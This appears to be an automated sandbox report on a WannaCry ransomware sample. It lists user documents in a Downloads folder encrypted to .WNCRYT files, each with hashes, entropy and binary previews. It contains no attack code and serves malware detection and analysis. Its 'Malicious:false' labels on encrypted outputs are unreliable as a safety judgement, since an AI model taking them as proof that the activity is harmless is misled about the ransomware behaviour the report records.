                                    Preview:WANACRY!.....H.o .1f.v.d....c}.7N.......wi}...&$.y..dM..rWO.Ys.w..dE...XT+..!wN.-.rJB;.4O$...y.O@.#...`.Fe.%.Iz....A.r...]no.@...Lka......s......t...1.#.^.m\.Z.....Gc..Q.7)...c..&4....#(.^...j,....K.#..R4F..q.d.....=."M..l.RY]..>..V...Z....=M.B.....pb..P'.................-...q..f.g/....Gj....'.....b\.mm..}..q.Z..l...K..FXs..p.u..S.28...WO.r....~.z'..Vx....^5..X.P..A5M..........C.....4e...y.]....p..cM.A$="dD...@.Z.VTog...r..a.9...9b..<...t.P.K.a.R.H..e..5... +d..V6.2....6....<.EP,..j.....z..:..m,.X..Dnj..A=.T..5k...^...L...!,TN..3J8.......[.....e."..W;.b.Wh+.......X.V.%.._y[....D.y...j.......g......^.3..*........7.Vx.O.. .h.a...}.+....?...ub..}..M..........m...t.E.ET.|......R.).k|wt...[..o.....5C....'>..:.. .K......_.R..\GyE.D,w...i........y...$........"d...8...1P9...W,C.4.(PW..Y.K.b.Ny.R.. .?)Zs%.UY.}.v......s....K...@....;.5.[>j....I...g....#......5Cc.g_ .u.l..........,{w.p.7.]C...o.N.....I.+.N".....}.6Q6.._...Y.Ti..Y..D...x...3t

                                    C:\Users\user\Downloads\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846890461815807
                                    Encrypted:false
                                    SSDEEP:24:bk23gssVSUFtSmlEWkxNS0n8BGjL3fWgKq0uSRPP8fuKAh4:bk6patSYETIBGjL3fJrSd8fuW
                                    MD5:516376907E4E2D7260092EB3A8E7CB82
                                    SHA1:2AE928A75CD63148DBCC8B5D17D505B180A8966D
                                    SHA-256:512F9C586CB382264394481F1B08CB826F06E9E8559FA90B2EF635381F26D166
                                    SHA-512:F8754DB2619A8EC8FCDE750062C5D0480589BC9ED4C416E0483A48BE1BF15DDB13115C9171718831DABA1FEC300AECA69C104E60373D0EF4ED053C659822E511
                                    Malicious:false
                                    Preview:WANACRY!....%.$....g..}k..Z+pJ...L..............zW.....E1..\.y........~.......Z'.....Vh..R............j.....>..3h=..U._HL.$[a..4.....&5..~Z..X5v.S..W*.R_.cw2#......BL....<.5T...|.{....b+...A..o....=ao..4..S..........l....[.f.....;..o9.....,.....]..../sT..`.............7....6n.?....+.-....bW.....3B./#.T..._.......]........).....r!.7.5|"..1.1!..zS.6.<j.b..,5dm.r.h..*....J..[?.'2;...../d.....9r....Huh..F.b.!...c.u.Rz..&n..D.'\A...].O...`~...wL...v8e...!.:..S:.].E].........R.-.;..E.e.&S..y V...(G.........Y..z.+..u...K.>.9....W....."g.........2..4.]...lu...~....;CN.....'...6k7...>.........@.7.l_^%..*.J...TC..zD.a.m....P...P....P...7...W]I{.m.....&.^....:.<..&.>a....w..../...*...A..Q..g\.oA.1..I.o..%.U_....s.d....../...{..3.d.@i.......`F:.>.n..[,f..NP.HXC.(|`......8....0..Ph...34...|....V...Ur.k.....<.O...A_...o...4....n...^...~K4.....Y.La....|KE..L!7..".)..K..u..Pa.@.G.%..9...>...QF...t...0]/...J....(y.2.)...,.".....9>:v....1S..b?E%.{.4..

                                    C:\Users\user\Downloads\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.859504859902436
                                    Encrypted:false
                                    SSDEEP:24:bk8nz3Efs/X40wc4yOEEQefv7Az9iltaBgvV6WV67lFFQzO525coTb/rBBXYxk2:bk8z3ws/epEEQQAMltaoulFkO4CojzYr
                                    MD5:BD44FA03C5FB698A9AD2FDA504686C63
                                    SHA1:6AB5B91BED10B4B583FAF7332A9C66D663F24E88
                                    SHA-256:DFD3EB268ABCA70933DAE777E9D049A9C0A894CD19C5A2FDFF4545E1377C0E75
                                    SHA-512:C6FA5FE700649794FD8174F1F60CEEA9E3E79BD06E08796EBC2533533E0502E6D6578F2CD5648CE8495792202635D64BCFC01B600DD0F960031FE150E39E4ADE
                                    Malicious:false
                                    Preview:WANACRY!......-BQM.....V.:/..........z$.s...".f.0.7...1#16....Xi.t.|Gi.>p...n..`..._..+%.v.X.4PE.i.aE.7..$....:..[#VT..b....*......\)|..$.e.V..8......_L....-K&].C..%A.(..?.+,.D..L..v..#..s..9.k.`i:..g..<.H...GH.S*.....\..<...u..!#.K.....y../..3.....;Wo..-.:;...............Kyk..}L-l...w$!Q|....)>.TB.f...+..A....w.4......s..0....~tr.I.-=..7.....[.....7jV.H%.........2..L'?.5.5,.....6..)<.)..LlTB..A..9.......++..VUx..b...+ .-[..&e.n..^....%.....E...O.Q..g.Gm....U..W...-.d..P]o..H.g.^.'B...r4...-".F.IfP..69....k...+I....$....K.b%...X.N.d....8......Y...$R..T.Eoa.j.......p..U.v.A.^O.-.~......%k......Z......u........4^..:..J$..BF.......X.n44....=\$....y...m^.<.....B...&..Y2...~`Zu*?.M;3K_..f;J....c!....A'......2....2...E. ....`........d.JD...>..GaN.{A..h.Z..{..Fp............8.O......\.x......O.U.....3.....^gp3...&.......r.._....{....oK-tMj.!i....NbS3E[.....R?../.....}.p.e..=..Oo.K.7.D..J...9/g.B_....5...<....P...P9..{..lVfl....M..KV....*..jo.q+..

                                    C:\Users\user\Downloads\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.838318403675443
                                    Encrypted:false
                                    SSDEEP:24:bkoS71W9mk1rpqeAQAZyldyLTd7Z72TFwfr1yH2wTdKTtHg3B3wf4acJd4lCh:bkPMEoVNADZyu39ZSTe1ytdCWggaCPh
                                    MD5:D316F1C275935917938D6114EF28A2E4
                                    SHA1:51373F7F8960B390859EBAD0E0DEDA0E11CBA1C3
                                    SHA-256:D6A55CD642B9E263C81EB5FCF31C99F6DE84679EA152F3D0EF4F90DC00B10C68
                                    SHA-512:18E3FCC2B911803766D029D78F91F0620F2C8DE6BCA75EFFE7E9C58A56B360FDBBF14FEF1571BE4A88683E5DF874390DE6EEE2093391B6A933786F2A3067A583
                                    Malicious:false
                                    Preview:WANACRY!......?....%c1..A..6..3..U.HN.}D..a.B`....p....7...:u.&.......F..k....`L.d((.....OJJ.N..q.2.hL.&.&.^d..]....D..]..5..3jn.....J[.q....Ug..;l./|.j.9Ox..O......$N..>...e....:.X:zs....9.Q.....nR....q.:5d..l../-]FV.^.%b.ix...z.U.....y%.Z..K?......[...q..ge............R^....}..K.lq..*)]HiW.7..g....2B....U.....{...l/F.yu(q^.&..A...`."....../..M.l.....D....x.(S.%..B,.... ..Z..U.}...c...a.y,..S..J...}.t........*k.. ...`..S`.|.^_.2......g.Ru....MU)..G... ..]..;....=z>..b..<.......e$v..;...T....=...(.R....'..4.......km...yX..jh0M.....|...O.`.r.az.x9..>.....e..R...3U...4.C..GI.Bw...Kv......t..G{.xX....w...{......n..., ...y,..w.pK.].7=W.......\.5.q?v.._....`&\..m\...r}.....O!...w..H?$.. ....Qm...B....:f.~...&~+.`...}|.4.D...?Q.y...1/.6Q9.1..7..........!7.X#. i..>..o......{].....KW...A@S8...l..[....$.w..C..~......Z.>...tA.ys......F..u..!.%Q..2 hcz..o.K.wU.;.m..}*.]"AS..#...H.........n.g.N...{.fS....1.xx1......p..I...c...{.xw.F......"{c......A.tl_D...

                                    C:\Users\user\Downloads\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834042683065249
                                    Encrypted:false
                                    SSDEEP:24:bk8I1+Xl2QIkP+XmLHDvPkTMDtknFNGnK6Q2LgQMwz:bkxQnWXOXLkFNGnK6JLg16
                                    MD5:AA8C1560AA48EB8A5AEB3BD832D7ED93
                                    SHA1:C63DBBCEF09E348A8D91390FC981586874BB5821
                                    SHA-256:621ED8528E1C14C4379D78C0DE11A781F8ADFCDE23939D0F6461DDE6F0F8416C
                                    SHA-512:80D5298C7AB56101A8389A9FA34A73C8B70DEB16C8201939780B4B986874BA834A94EFB8F55AD31F23E3F03E64605D872B1C8A5CB35CCFA3899B08BFC31C9D92
                                    Malicious:false
                                    Preview:WANACRY!.....p.1.u'.e.k~Eh.^Y....*.H=.7g.@w.H.........*;.wf.....r.H6m.Q:..:......g(u.bKW.x...qH.BPx&......{.....'..VT.j?....u...0.E....H.r...$N.f(~ $.+. .._...-....*.....^H..x...j....v`n=.;d..L..l.kw...;$w...m.L...m. ...rz._`q..?../...&..-.U/m8.|....KT"...............r...%...J!..%A....ZLU..5..;Vl*...C..U...\..x.YO.E.../T.sO...w..n...f...x.R..+i8.../Z...5.M.NN.Y...{.7.n_.2P..p.@..6..........ZS1 $+.y*z.i.....Ze(.a....z...4....9.D:&.....F...^.%..hh.<."..1g..Gh5*.h.H...a....#..z..3..9W.X...a%..a...<.CR..p.f._.......Q...m..g.....i......U..}. C&..4n..m.m.5'...x.r.. .p..pI./..p|l..r..t....;...b.-i.q/.6'.E.*.4.&..V.@x..Jr.|rY.E....G"n.;.SW2..+DN.....S..^w....r+..R#.. .@.~..I.Y..........L..Y~NZh....h..../.b........N>....=.^....y.sb><..ER...q..F(....MQg..6....>..IH........+.Rj....bB.._......[!A2..LZ...hr....m..N.Y.{Q). .Q....&.......ki-.tO'>.!.h.h3.......04.O.Zh....9K0e1....FK.e...j...f.............P19'y...Ks8....e.i^.Ah.5..*H...0..)....

                                    C:\Users\user\Downloads\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.860466517672968
                                    Encrypted:false
                                    SSDEEP:24:bkVFRESh5N+zaqgF42mCBQ9fbFVgbcgZRfduOvVoTZsXVTkB2EQxM:bkVF6I+za71BUzFybdmAcaNEQa
                                    MD5:75FCC80FE393F8BB2CC735B199F5D735
                                    SHA1:DBC81CB73A7D76CC097B71E11F8A4D30079AB03D
                                    SHA-256:E7028E53A652784F69C38892D9FF72C20A25EE94CEC91214B7EA97522B6EC5FA
                                    SHA-512:E49031B5682584B6522FBB7BF9D35681AD4CD13557BA6F199BB72762BA200616C84F38EEC3641539212DF63D91EFEF809AE580924E33952F3B6C44FCBABA50E6
                                    Malicious:false
                                    Preview:WANACRY!........c....4......).|..3.4.... h`..........ttQI__.... .vw.da.+T...%..Q...d.VGKj...H...Y...Z.......a..n]...%..>.*........`i.y<.6......s....4EC6kY.Th..!...I4.(."K.l......8.cL.......p<.....XhI..>........'.+..g5.<8.c.F..,.^.....u.(k....5?d.Y...B............$GA..E>`!d...M....F{[..r:#W..S..8.(..71......SY....6.LOu.3..........`.....&n...b.y..f...[.g..3.g.,...f........{..@.I....d..bct.....(,.%%j~...S...n,....'......X....w.M.j.xJ..G...]........=.U..9...I.....LN.4.y.*.=..L.7...0.{..x..-b.p..`.I..@1:..."....>...../.X8Yt..o.O..oM...A..v.JG8..*.h..w..8H..By..F.:...-kkR.....:.V..@.+.a[.._?.0..C.....<e...b...f.I..P.....V...c...k.+<.t....z..>..........|H...I.Y....[...Nl.. ..zk.P^.Uu...}.s....u0........>6DqeV.......`i.iL..u.g.g..)..#.....i....~.......1...Y..0#S....e\*.........nB...1..bR..N..!..K..Dw.rj......y.x.Z._c.:6..^.M:..^vs9..J..b-*Z]?...`......._.u........d....=...\k.)..k....t(.g..%{6.gQ:T..n........:..3.!....<....q|#.......

                                    C:\Users\user\Downloads\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.814654437435679
                                    Encrypted:false
                                    SSDEEP:24:bkKkfxn8/YdN+hti+RyxLmVc7QQv9UB8T8UO2yQwIIYXghP4jvTf12HUDJxBEBrT:bkKkf5CwNfCsz7QGewFCxOH7120Dy
                                    MD5:D8F56F33F82F0809EBEF5E0384C316DB
                                    SHA1:1323EF8CDB7D4DF8B61E08754DECFD037A5A3905
                                    SHA-256:F44965724C726443065CE00A6AC904462AF513E66972AAD7A54F6E27D374B179
                                    SHA-512:75AD178C9476778A9AFBDB7250026F888D61CB25AA78F981E832BD57A33746C9C62002E48B5E6FDEB045135683D8E6E0384A0AB45A965497541A5A7486310047
                                    Malicious:false
                                    Preview:WANACRY!....dz."..#s..W.:5....2...M.....Kp...U...|..9.g3.E...=.c6........?...rs..:.}...R.e^.....m.`.!...f.H..d.$.N/.....*oa.")..Tyn....J6..G6..uZ...&p..i_...W...jO..x.....8.........Y.....b>&...2...&.1X. .x....I....`.....F./>.w.j..|.Y.{$AhR. DB..b..S...4.@,I...............z..B.$/..]...Z.Kh...)..p..Sx...~..r${...e.....q..k..6..M+U.eo..G...$........%o..f.. ...d...%..f..h.4.uS'.....j.N......k.-f.%.x...u.........=.."..eT...^w..~..@..?.=.T..k..m../.0K...RXe.To.:....zM..W...IL*c.[..._&!Ck..s.6C.g.>s.Mmu.........D.3".l..w/.t...<1.$.[.._iA...Wf"...$c..G.e._.8lDgN..;.....z.... K.W...Z.T5...d.]k...=<........l.f...d...k>..e.MNN+.w..&.i8.9....Av!.<{.`..../..w.y....5.Rzy..s.G....Q.W'd..yO.u.;.w.}W..O..`o,.N.F.W......\$P..........>...#"e;.....=.eh..xlJ.d.s.W.%..s..;O@.c0.e..dI=....z..5..o. =..A.W...V....+..W...[f..Kl...7z......J"r....:..r...h.&..A.t^U.?.....o...`.a...bJ.#..Z7.._....P.%.....l8SL......@..c.3.`.=..g.5E.;X.....K..a.P1CN..N....O.B.+C[......k<D

                                    C:\Users\user\Downloads\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.845475601594989
                                    Encrypted:false
                                    SSDEEP:24:bkRGwwz1ziZCRCHjMVpfBtrVN7JreIEy13/XPiMGhv9lNX5zXND0HbJYT+5j:bkVTZzHjMVpfBtnJrRX13/kNZX5zdSVd
                                    MD5:99B2FCFB267A3B522FDC53119EC09DBD
                                    SHA1:7EEDE4DA0C8606A40156ADFA95F7E07463836D2C
                                    SHA-256:AF123539F1E3344A89D670D4E594B95D6D400473A95EE05447AA18A6AC3B6B23
                                    SHA-512:4C6E0A6018678504E7A6386BB038C05CC69D22CA73A1F4FC7941E332526967DB638B1A68B2DA6D187E82B076B94B1753ED8B64CDFC8754DEB77E7F29675AFB50
                                    Malicious:false
                                    Preview:WANACRY!......#!..C.....).{..y...N..R`K..G..C2..q ..Pi..Z{8..|f...o._...."...Rj..+.(Z..R.z...D]U.9...../..H..k!...?^\Q...(...m..W..<...H.........0.!.c...c....N..j....^....,..T.]0o.%mpv..y-P.3.5":{...."..(m...Ng..(.-F._.}(l.XO."\.....C.....A.?.Jp..V...B..b.k............al.).h.4.rHv..E_fJ.....\.]a+..6@v..f...5.V...@..-..='a...]">&..3..Dt..&.co.2...*.....>.._....7@B.p..h........JP.EJp..6...H..|B.....zq.n9J.6.Va{z5...ae.l.w.hbk..1.G(.S.Q..*.......7.........(.v09..d......P...y...#."."%.vSp^....o..%...O.....`V...L.p.......5............Q.U..../...p....,....q.@.)..>f.D.f.&...!.0Oq.F.XB.3O.w.H....d.e..-..?4.<.........Y..De..J.K..k)2.z.....fx.}.G.0.L...p.+..6I.2..k@:.v....l.HN..]..........Y.k.C..@.o.N.b.p@.D(.9..@#...S..+4.....}.y. ...u.Y....0.W...b..R.....b..<%J.........Q......pv~..............VD.waD.....h.M.tL.y.o.(.3.^....f.7....,....c6.. ..=...O^.k?.Z...1.d.X..d).~...K...b.|(.)x....6......w.d.,Y.c!?.S9..q...........S......c...(.}.[......

                                    C:\Users\user\Downloads\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85917057387597
                                    Encrypted:false
                                    SSDEEP:24:bkRVq4Zrzlw52emwm4um0De4psLob65ncbxu3HjLuvit/nPZr0z:bknq2zgpmwFRNekoicbxAHjCCZrq
                                    MD5:EDB6E0A0C6FFEF14F470D153571F852F
                                    SHA1:119E7420E8B9184EE042DB9E614C44947845A2EC
                                    SHA-256:8F8AC041782C11D31B639A4CF70CA33D0F3386F1F31DCF5C040E461EC7134A28
                                    SHA-512:396D26E5112D66F277AE47BC92AF639EEC865ED8699D2512EF9C5E691AD2F8FFFD3AC3BECE2F008FFDDB432AAB1ECB12D00877C7CC1DBCFEF58EBD0BBC2AA7F1
                                    Malicious:false
                                    Preview:WANACRY!.....%..A..&..f.........`_+g....c...:........#Ld..)h...k.P......G....R.Y.._d..1..3..o..7....P...\.Y#z...g.v~.'.j.."O.h../...2.\...A..nfp.......bd......G..?8..rh....A..|.A.@..[V.@. Ck......i..l+_.....o..S.. ....24..?.>.T.v..jXgQ.......H..Kf.1ez_.?M.................A....{.....o.....Z..3?X'..2..h...4.{.....~.Mz. ...^..C.i...y...5..l.......4.*.....R..w.......x..].Z.....`Zv:.'.k......p.ntM...m.x5s.f..m.7S..V..F..).Xm..Q. o..W>E. .. ~....r.,..t...W.....Z.?.Cv..y~O(!.._.......#.....*`...u#..'..}|..so.T21...7..mW...A$.}..\..O.[...5}.yu..........*)m.)..<...=.Y....1...`...o9.v..;.kmo..c.lIR.k........rC...7....j.Q.pa.a`7<....J.[P.+g,J%.UO......V..s..u...y..[..}%.'s...v...}.6.;s..jg.......u....z....(=xQ.p\..03....o......H..)....p-.s`..._.T...'..X.6X}~l.....U$...r...........0.[Y.a..#...F...L.....[.p.....N.s.........r......v...rX.,..mk.....L...YYD.O.....J..|.M..k....Z.B.z...{.8..~!.h.u.R......a(...( ......o.R..Q.P...M...]I.N.....Z.....1.

                                    C:\Users\user\Downloads\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854713950558144
                                    Encrypted:false
                                    SSDEEP:24:bk5QOo8ReGcXGCUjZRWu37xeBV1BkllKqmnaQzPbUmGi90fz5YldgI9jhqk:bkXeJWC0ZRP37sBV10KqQfbf072ldgIH
                                    MD5:7063A3D982AEC675EE8AD4278050C5C6
                                    SHA1:BD86E825AF0889629E9005B7613E3DF3DE594D6C
                                    SHA-256:9DB91751DC72CA3740CAA9D0D4C7240CBA8C5C33C3FDDF01B2F45E0AD68730A2
                                    SHA-512:18C5343E4F027AD3F06289F7CDE5D4799FCA49DB07E4F602EB42D6528500A5D91D75D48252AA3863210FC95F54E5D3E4E8C3145CE8A42674C21099D00C2F078A
                                    Malicious:false
                                    Preview:WANACRY!......6L..U#;`P.....H....-..x..2c....(......(B.]......=..*....gw.....$.P........v.MBD...x....7..9#1|.P.^..3...(......-....B..7.Q]...lR/..z.O'..g.X.....-.$P8.j.....g..Z....j~u.........N.M.bc#.......aNI....+.?V.U..\%.g..D...K...6..>.!.@.. .qR].Xr............O.qNp..~..bo...TW......,q.R..>......n.._9......&......./..l.."..P.........Bk..Z..A.".]L...v.z..&.=.nW..Q.a9....Z^H.@8-...dGY..CVv.1D.u..!...u&jG.A...X..m..8.9..7..$...[.......Z..~....n.H....s...N..;.R...!i.LM..'..*k.~#...... O/h..*./..F2A@f..:..35.d.xL...(....\5;N..c.iu....M._......*...m.%^=.....C.<........DA.".d9H.0..`~DY.V.N... 8.....&....d..5.y..V..k.%*m.4.`.....Ru..`.^...M.i....(...l..o...7.W...x.:.!......#.o....'......E(N. ...}V.4.O>..0.K..M#......D.z>....U..E..#..BKD^A..ic..`&......j.B..1...[.6t.j.pj.....>.R.......9...1_...!.+Va.4...fuW.>...).h..j...Jdy....."..I..F...h8..&lT.y].A....C..3.B.....1.|.]tz.^QZ.3...39..{..L..d.u......[..../r.l.g..s5j..&.O.m...i.r..V.)...^.G.5.0A..TX.$.....r.

                                    C:\Users\user\Downloads\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852762520367655
                                    Encrypted:false
                                    SSDEEP:24:bksH93I/G0TScl0GeUKJeWURHoEO1pvwRDpkwS2johYo8ACU43X:bkFueSS0mKJe9rDq32MhYjH
                                    MD5:3B0F0EF5FA4082330B817FF97AADAC00
                                    SHA1:325E75E68830FFAE7ED3BC67196F4D51D7588655
                                    SHA-256:FA046AF6C91CE4DCB9B8741E1FB206F7ED543A6BD5E519DA63C4708FE34749C8
                                    SHA-512:CC035177FFF7EAFD410DFC5DAE05D57746554F5F813EFAE7D5AAE2D027B82E3C545AB6F33FBB20F510D33012589AC30A67D490F19AFDC77AE5CFE56648D77DC8
                                    Malicious:false
                                    Preview:WANACRY!......lf~.....eA..62....j...Pu..Uj.Q]m.X....X..T.M.k.d..>..4:F/...).y>...|Cp..#{.....*%..@.'.H..g.<_. lf'.}/}...[3O..Z.92...5...6...IB\.J....'P,6.1-v.J3.....5...s..._...^.........[H.KI.a.gL...._e....m2..<c.L..< .n6......]..(6....,...C.Pvw8y....nJc.B.j.a.................t..........E,..+q..w........d....2%X....'..x....~R.M.W%i.....O..n.....6.r...d....c.GH.uK..1...$]&{B..X.*..l.*..*.q.......F.N8.I.....a......c.Y...`.....W...F4`..X...0i.!.$...VI.w.#(X@..K..HP..............+....).;]V.]..........w........(E:.`.i...Q.}.....m"b.;8.~..3...M.F1..W5..GP......y...>.mU:.`.......+\1#C1.+B......R...s...Kd...|f.]ju..f./..m..\...^d.>...4S ....$...,.<B.p.9...~...~.A."L.BC.g.U.r.T...qFU....g=Z{+_....U.0*.....1..[/w.l.p.o..j.2..U6.}zyP..jZ.....b..;/._..?..t.U~ ...z.6..T.>._.P..d.Ct......C...E...Gp.IK.l...Hh...m..>.K.0j....%..B]j.R.5>...h~.._...L.4e......0.....bfM..Ds.s74.2I.`..j*....[9Q[..=H3a._..L......@.<......4s.j..BN.p}...w......-...L..F..........cn..

                                    C:\Users\user\Downloads\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.823475619878885
                                    Encrypted:false
                                    SSDEEP:24:bkimGqejZWIkRbPHvJdCUWtp+6ldtmGjtz7Ri27Yx/fSCkHY9vrr3NqBHxMe4qdY:bk+qGWIEbnJatpl1pR8x/fSCk49/NqLM
                                    MD5:D605ECE96EF3710818AB9EA88EDB6795
                                    SHA1:EC63DF7F0234AD1177FE4299049C45E3A6B4C0FD
                                    SHA-256:56E568E9E43B6102B16E6B1EF230C5FE98053C97ECD27AC192EECF5F874A3576
                                    SHA-512:94768FD4778188AEB90E82F9314BB4AD71FA1D881BB164120582F8B12845A65BA09CA87A0BD5349A4C07ED4028FDC035E2A0CD59AEC3C9A2262DA456F3510B9E
                                    Malicious:false
                                    Preview:WANACRY!....l.F..........b.u.T.......$.,....C....jPb.{....s.;f....!..(`.].pIG.6......,..t.....7V.m..zEs.v.!...bi.ToH"..OOE.N....K...Q...d_..........:..L....N;...C...iC6..".~^..n...EN...Q.2...'MF.z.sT....R}B.!.x..G........~...fC..$,~......R...]..?+u.......................-.[+6A...vR...Ya>.....9.P4....H.I,.?.........$3W.x.idk.E......h.h.Q.q.4.3...Ez.[.....s....$.l..Or.Ia.....<.x...J..rJ".DI..v..[.vUT...;".........j.a?.^.P.YD.......=...:,N......_.a..Dk..j...7Aj..HZB..m....=".(].<...y..F....I*v..$.V....G.J.i.9[N!)*.^..v..A..w.,.b.'......[..B..^\...\.m^....1TRR.+....].Sh..D..`.r>.W..x......=6|..[...W...~GB.........>i.._..}.....5a.....])..s..!.:........sZ..m.....y...iF.#N_.1{ .M....Z/%l...&q....W.t(p.....?.V~.&F|.20..#..|.~@.&..a^.?.|...).F..b..nPMVZ......;..Ldv.S.....,.....U.P..ZS.#.\..i1....S..P.;NF@*X..T(..vJu....%.....;....p.s. .'j...K.UP8.J..6..lp.9.....1..dd..P.h.....4.5.#.R...A...^;..v.rN...o.p...0..jZ\|/4A.{...3...4..,!.r1>OWA.v#..B.@.....us

                                    C:\Users\user\Downloads\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.835234259226574
                                    Encrypted:false
                                    SSDEEP:24:bkbK3NhKsTXwxqkBSoq9GqMBFq58vd0Om0ic4PQB0XvA0BsctXHC6Ere:bke3LKsM8wSpGqMBFq5IKOm0iRe0fAy9
                                    MD5:076160F9A8437F43ED98ED0782624B72
                                    SHA1:8FF15F986EEDA06B4910B0EDC847EE1AC12EB2BA
                                    SHA-256:692F8CD96A1F3D04B13902E998A2330503C98391BC9A377CD30E302B09F17E61
                                    SHA-512:FECCFEFA82E5418147FCE74D1963E5D2B3C9A6FE513B85CE5FC0A0E44851BE3303E5B1766BD22F5F12E3156C5BCA47897C6A5B460EC36CEE2F6DA1E1456EFC34
                                    Malicious:false
                                    Preview:WANACRY!..........3H.L.. ...9._..z.......;..7;...g....HU.s..{...K..I..|.b.je.o..j...M}Q.9..(z.T.]..6.d.e.-n.3....f-4:...`.U....2...&..Y.e2c.~.L.7u!R....t.!...M...S.....h.....rkj._.....l.K..);.y.j../......h81.J.X'.g.......{.TVk........1...../.&}..,......#NM]..l......................a.U,b.e_.K..vT...s.*7....k.....(...~:5.x............0..T..j..B...:e5.!.c..Z.d...X.L.{T.-..{...3.<.9.t.....3.n.8)(ua.X(.v.z.m...M..:..F.R.^-.\N...Xa..4.#....B....+.....3.<......U.Y{Tb.wN...eX...*.{...7p....\yU..qAXc....UD...A.y.~..r)..........Bnf.mI.Z.qdm.R?...5.8.....xj..^:.....M.......1.n...-C.\F..8...K$.f...s...@-X..O\....T.W)..'?h<....RM..g.q..y......G.r...Y.U...k..MD..y.........^..d_.s..Y.....j..b...l..=.*.+F.........5..H...f.UI...&L.A ...R..r5..k5......H.2..P..^G4S...._..eBy.i.Ca.......OT..h...;"r@,...{..d...u.`7?....Y+..5...].5...z.CB.....wf..G.8,-4.U..%...V.R....,....u..{#Yx.A....\...'...tR6.k.1.U.F.w.JX.F.{.R....S..GoL.{....Q........w.gK..........T.}......<

                                    C:\Users\user\Downloads\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.844140109848247
                                    Encrypted:false
                                    SSDEEP:24:bkRWSPB31x+3+iNlN3tILv71N2RYZuQhyjcr2NHEcLICBrWwXZCWJ:bkJP1j+3lNhw+vQhTFI/5BXpJ
                                    MD5:504FEEE89DD930EDB3D54C4F0614D8C6
                                    SHA1:C09DAE2A19E708D2FE40D4C0886FE927D8BAD26B
                                    SHA-256:2B1583C62261CE6D256F31925810EEB9A2A755E6697D6ED2704B3BD4DD253F90
                                    SHA-512:0E4E70C30B68F1D0AC5F4350B29C3BAA4EAEA55FC525F1C2197404157006F5287E7A98F4E2095B3406C65025B9BE9691836C052D45F18C74B0C4D5F253112609
                                    Malicious:false
